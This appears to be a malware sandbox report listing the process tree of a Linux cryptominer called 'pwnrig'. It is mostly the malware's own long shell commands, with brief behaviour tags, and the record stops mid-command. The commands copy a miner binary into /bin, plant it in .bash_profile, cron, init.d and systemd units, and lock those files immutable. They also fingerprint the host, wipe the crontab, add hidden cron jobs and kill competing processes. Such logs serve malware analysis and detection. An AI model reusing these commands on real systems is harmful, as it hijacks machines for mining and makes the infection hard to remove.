- /bin/sh
  sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"
  2⤵
  PID:3462
- - /usr/bin/id
    id -u
    3⤵
    PID:3463
- - /usr/bin/id
    id -u
    3⤵
    PID:3464
- - /usr/bin/chattr
    chattr -i -a /bin/bprofr "~/.bash_profile"
    3⤵
    PID:3465
- - /usr/bin/rm
    rm -rf /bin/bprofr
    3⤵
    PID:3466
- - /usr/bin/sed
    sed -i /bprofr/d "~/.bash_profile"
    3⤵
    PID:3467
- - /usr/bin/cp
    cp -f -r -- /tmp/service-agent /bin/bprofr
    3⤵
    - Writes file to system bin folder
    PID:3468
- - /usr/bin/rm
    rm -rf /bin/initdr
    3⤵
    PID:3563
- - /usr/bin/cp
    cp -f -r -- /tmp/service-agent /bin/initdr
    3⤵
    - Writes file to system bin folder
    PID:3564
- - /usr/bin/tee
    tee /etc/init.d/pwnrig
    3⤵
    - Modifies init.d
    PID:3566
- - /usr/bin/sed
    sed -i "1 s/-e //" /etc/init.d/pwnrig
    3⤵
    - Modifies init.d
    PID:3567
- - /usr/bin/chmod
    chmod +x /etc/init.d/pwnrig /bin/initdr
    3⤵
    PID:3568
- - /usr/sbin/update-rc.d
    update-rc.d pwnrig defaults
    3⤵
    PID:3569
  - - /usr/local/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:3570
  - - /usr/local/bin/systemctl
      systemctl daemon-reload
      4⤵
      PID:3570
  - - /usr/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:3570
  - - /usr/bin/systemctl
      systemctl daemon-reload
      4⤵
      Reads EFI boot settings
      PID:3570
- - /usr/sbin/update-rc.d
    update-rc.d pwnrig enable
    3⤵
    PID:3596
  - - /usr/local/sbin/systemctl
      systemctl --quiet enable pwnrig
      4⤵
      PID:3597
  - - /usr/local/bin/systemctl
      systemctl --quiet enable pwnrig
      4⤵
      PID:3597
  - - /usr/sbin/systemctl
      systemctl --quiet enable pwnrig
      4⤵
      PID:3597
  - - /usr/bin/systemctl
      systemctl --quiet enable pwnrig
      4⤵
      Reads EFI boot settings
      PID:3597
  - - /usr/local/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:3598
  - - /usr/local/bin/systemctl
      systemctl daemon-reload
      4⤵
      PID:3598
  - - /usr/sbin/systemctl
      systemctl daemon-reload
      4⤵
      PID:3598
  - - /usr/bin/systemctl
      systemctl daemon-reload
      4⤵
      Reads EFI boot settings
      PID:3598
- - /usr/bin/chattr
    chattr +i +a /etc/init.d/pwnrig /bin/initdr
    3⤵
    PID:3624
- - /usr/bin/which
    which systemctl
    3⤵
    PID:3625
- - /usr/bin/chattr
    chattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr
    3⤵
    - Attempts to change immutable files
    PID:3626
- - /usr/bin/rm
    rm -rf /bin/sysdr
    3⤵
    PID:3627
- - /usr/bin/cp
    cp -f -r -- /tmp/service-agent /bin/sysdr
    3⤵
    - Writes file to system bin folder
    PID:3628
- - /usr/bin/tee
    tee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service
    3⤵
    - Modifies systemd
    PID:3630
- - /usr/bin/sed
    sed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service
    3⤵
    PID:3631
- - /usr/bin/chattr
    chattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr
    3⤵
    - Attempts to change immutable files
    PID:3632
- - /usr/bin/systemctl
    systemctl enable pwnrige.service
    3⤵
    - Reads EFI boot settings
    PID:3633
- - /usr/bin/systemctl
    systemctl enable pwnrigl.service
    3⤵
    - Reads EFI boot settings
    PID:3659
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:3685
- - /usr/bin/systemctl
    systemctl reload-or-restart pwnrige.service
    3⤵
    - Reads EFI boot settings
    PID:3711

/usr/bin/hostname
hostname -I
1⤵
- Attempts to change immutable files
PID:3427

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:3429

/usr/bin/awk
awk "{print \"-\"\$2}"
1⤵
PID:3434

/usr/bin/head
head -n 1
1⤵
PID:3433

/usr/bin/grep
grep "Port "
1⤵
PID:3432

/usr/bin/cat
cat /etc/ssh/sshd_config
1⤵
PID:3431

/usr/bin/sed
sed -e "s/\$//"
1⤵
PID:3443

/usr/bin/sed
sed -e "s/^ *//"
1⤵
PID:3442

/usr/bin/cut
cut -d: -f2
1⤵
PID:3441

/usr/bin/grep
grep -m 1 "model name" /proc/cpuinfo
1⤵
- Checks CPU configuration
PID:3440

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:3446

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:3449

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:3452

/tmp/service-agent
/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d
1⤵
- Executes dropped EXE
- Checks CPU configuration
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:3768
- /bin/sh
  sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
  2⤵
  PID:3792
- - /usr/bin/whoami
    whoami
    3⤵
    PID:3803
- - /usr/bin/hostname
    hostname
    3⤵
    PID:3804
- - /usr/bin/grep
    grep -c "^processor" /proc/cpuinfo
    3⤵
    - Checks CPU configuration
    PID:3805
- /bin/sh
  sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
  2⤵
  PID:3821
- - /usr/bin/awk
    awk "/[zZ]/ && !a[\$2]++ {print \$2}"
    3⤵
    PID:3823
- - /usr/bin/ps
    ps -A "-ostat,ppid"
    3⤵
    - Reads CPU attributes
    PID:3822
- - /usr/bin/id
    id -u
    3⤵
    PID:3825
- - /usr/bin/grep
    grep -v grep
    3⤵
    PID:3828
- - /usr/bin/grep
    grep /etc/cron
    3⤵
    PID:3827
- - /usr/bin/ps
    ps x
    3⤵
    - Reads runtime system information
    PID:3826
- /bin/sh
  sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
  2⤵
  PID:3830
- - /usr/bin/id
    id -u
    3⤵
    PID:3831
- - /usr/bin/awk
    awk "{if(\$3>30.0) print \$2}"
    3⤵
    PID:3836
- - /usr/bin/grep
    grep -v /usr/sbin/httpd
    3⤵
    PID:3835
- - /usr/bin/grep
    grep -v -- "-bash[[:space:]]*\$"
    3⤵
    PID:3834
- - /usr/bin/grep
    grep -v grep
    3⤵
    PID:3833
- - /usr/bin/ps
    ps aux
    3⤵
    - Reads runtime system information
    PID:3832
- /bin/sh
  sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"
  2⤵
  PID:3838
- - /usr/bin/id
    id -u
    3⤵
    PID:3839

/usr/bin/hostname
hostname -I
1⤵
PID:3795

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:3797

/usr/bin/awk
awk "{print \"-\"\$2}"
1⤵
PID:3802

/usr/bin/head
head -n 1
1⤵
PID:3801

/usr/bin/grep
grep "Port "
1⤵
PID:3800

/usr/bin/cat
cat /etc/ssh/sshd_config
1⤵
PID:3799

/usr/bin/sed
sed -e "s/\$//"
1⤵
PID:3811

/usr/bin/sed
sed -e "s/^ *//"
1⤵
PID:3810

/usr/bin/cut
cut -d: -f2
1⤵
PID:3809

/usr/bin/grep
grep -m 1 "model name" /proc/cpuinfo
1⤵
- Checks CPU configuration
PID:3808

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:3814

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:3817

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:3820

/usr/bin/wc
wc -l
1⤵
PID:3845

/usr/bin/awk
awk "{if(\$3>30.0) print \$2}"
1⤵
PID:3844

/usr/bin/grep
grep -- "-bash[[:space:]]*\$"
1⤵
PID:3843

/usr/bin/grep
grep -v grep
1⤵
PID:3842

/usr/bin/ps
ps aux
1⤵
- Reads CPU attributes
PID:3841

/usr/bin/hostname
hostname -I
1⤵
PID:3871

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:3873

/usr/bin/awk
awk "{print \"-\"\$2}"
1⤵
PID:3878

/usr/bin/head
head -n 1
1⤵
PID:3877

/usr/bin/grep
grep "Port "
1⤵
PID:3876

/usr/bin/cat
cat /etc/ssh/sshd_config
1⤵
PID:3875

/usr/bin/sed
sed -e "s/\$//"
1⤵
PID:3887

/usr/bin/sed
sed -e "s/^ *//"
1⤵
PID:3886

/usr/bin/cut
cut -d: -f2
1⤵
PID:3885

/usr/bin/grep
grep -m 1 "model name" /proc/cpuinfo
1⤵
- Checks CPU configuration
PID:3884

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:3890

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:3893

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:3896

/usr/bin/hostname
hostname -I
1⤵
PID:4249

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:4251

/usr/bin/awk
awk "{print \"-\"\$2}"
1⤵
PID:4256

/usr/bin/head
head -n 1
1⤵
PID:4255

/usr/bin/grep
grep "Port "
1⤵
PID:4254

/usr/bin/cat
cat /etc/ssh/sshd_config
1⤵
PID:4253

/usr/bin/sed
sed -e "s/\$//"
1⤵
PID:4265

/usr/bin/sed
sed -e "s/^ *//"
1⤵
PID:4264

/usr/bin/cut
cut -d: -f2
1⤵
PID:4263

/usr/bin/grep
grep -m 1 "model name" /proc/cpuinfo
1⤵
- Checks CPU configuration
PID:4262

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:4268

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:4271

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:4274

/usr/bin/wc
wc -l
1⤵
PID:4299

/usr/bin/awk
awk "{if(\$3>30.0) print \$2}"
1⤵
PID:4298

/usr/bin/grep
grep -- "-bash[[:space:]]*\$"
1⤵
PID:4297

/usr/bin/grep
grep -v grep
1⤵
PID:4296

/usr/bin/ps
ps aux
1⤵
PID:4295

/usr/bin/crontab
crontab -r
1⤵
PID:4301

/usr/bin/pkill
pkill -f .klibsystem5
1⤵
- Reads CPU attributes
- Reads runtime system information
PID:4302

/usr/bin/pkill
pkill -f .klibsystem4
1⤵
- Reads CPU attributes
- Reads runtime system information
PID:4303

/usr/bin/bash
bash -c "echo \"* * * * * /dev/shm/.klibsystem5 >/dev/null 2>&1\" | crontab -"
1⤵
PID:4304
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:4306

/usr/bin/chattr
chattr -ia /etc/cron.d/.lib-knlib4
1⤵
- Attempts to change immutable files
PID:4307

/usr/bin/chattr
chattr +ia /etc/cron.d/.lib-knlib4
1⤵
PID:4308

/usr/bin/chattr
chattr -ia /var/spool/cron/.lib-knlib4
1⤵
PID:4309

/usr/bin/chattr
chattr +ia /var/spool/cron/.lib-knlib4
1⤵
PID:4310

/usr/bin/chattr
chattr -ia /etc/cron.hourly/.lib-knlib4
1⤵
PID:4311

/usr/bin/chattr
chattr +ia /etc/cron.hourly/.lib-knlib4
1⤵
PID:4312

/usr/bin/chattr
chattr -ia /etc/cron.daily/.lib-knlib4
1⤵
PID:4313

/usr/bin/chattr
chattr +ia /etc/cron.daily/.lib-knlib4
1⤵
- Attempts to change immutable files
PID:4314

/usr/bin/chattr
chattr -ia /etc/cron.weekly/.lib-knlib4
1⤵
PID:4315

/usr/bin/chattr
chattr +ia /etc/cron.weekly/.lib-knlib4
1⤵
PID:4316

/usr/bin/chattr
chattr -ia /etc/cron.monthly/.lib-knlib4
1⤵
PID:4317

/usr/bin/chattr
chattr +ia /etc/cron.monthly/.lib-knlib4
1⤵
PID:4318

/usr/bin/chattr
chattr -ia /etc/anacrontab
1⤵
- Attempts to change immutable files
PID:4319

/usr/bin/chattr
chattr +ia /etc/anacrontab
1⤵
- Attempts to change immutable files
PID:4320

/tmp/sys-helper
/tmp/sys-helper
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:4321

/tmp/service-agent
/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn
1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:4322
- /bin/sh
  sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
  2⤵
  PID:4323
- - /usr/bin/whoami
    whoami
    3⤵
    PID:4334
- - /usr/bin/hostname
    hostname
    3⤵
    PID:4335
- - /usr/bin/grep
    grep -c "^processor" /proc/cpuinfo
    3⤵
    - Checks CPU configuration
    PID:4336
- /bin/sh
  sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
  2⤵
  PID:4352
- - /usr/bin/awk
    awk "/[zZ]/ && !a[\$2]++ {print \$2}"
    3⤵
    PID:4354
- - /usr/bin/ps
    ps -A "-ostat,ppid"
    3⤵
    PID:4353
- - /usr/bin/id
    id -u
    3⤵
    PID:4356
- - /usr/bin/grep
    grep -v grep
    3⤵
    PID:4359
- - /usr/bin/grep
    grep /etc/cron
    3⤵
    PID:4358
- - /usr/bin/ps
    ps x
    3⤵
    PID:4357
- /bin/sh
  sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- 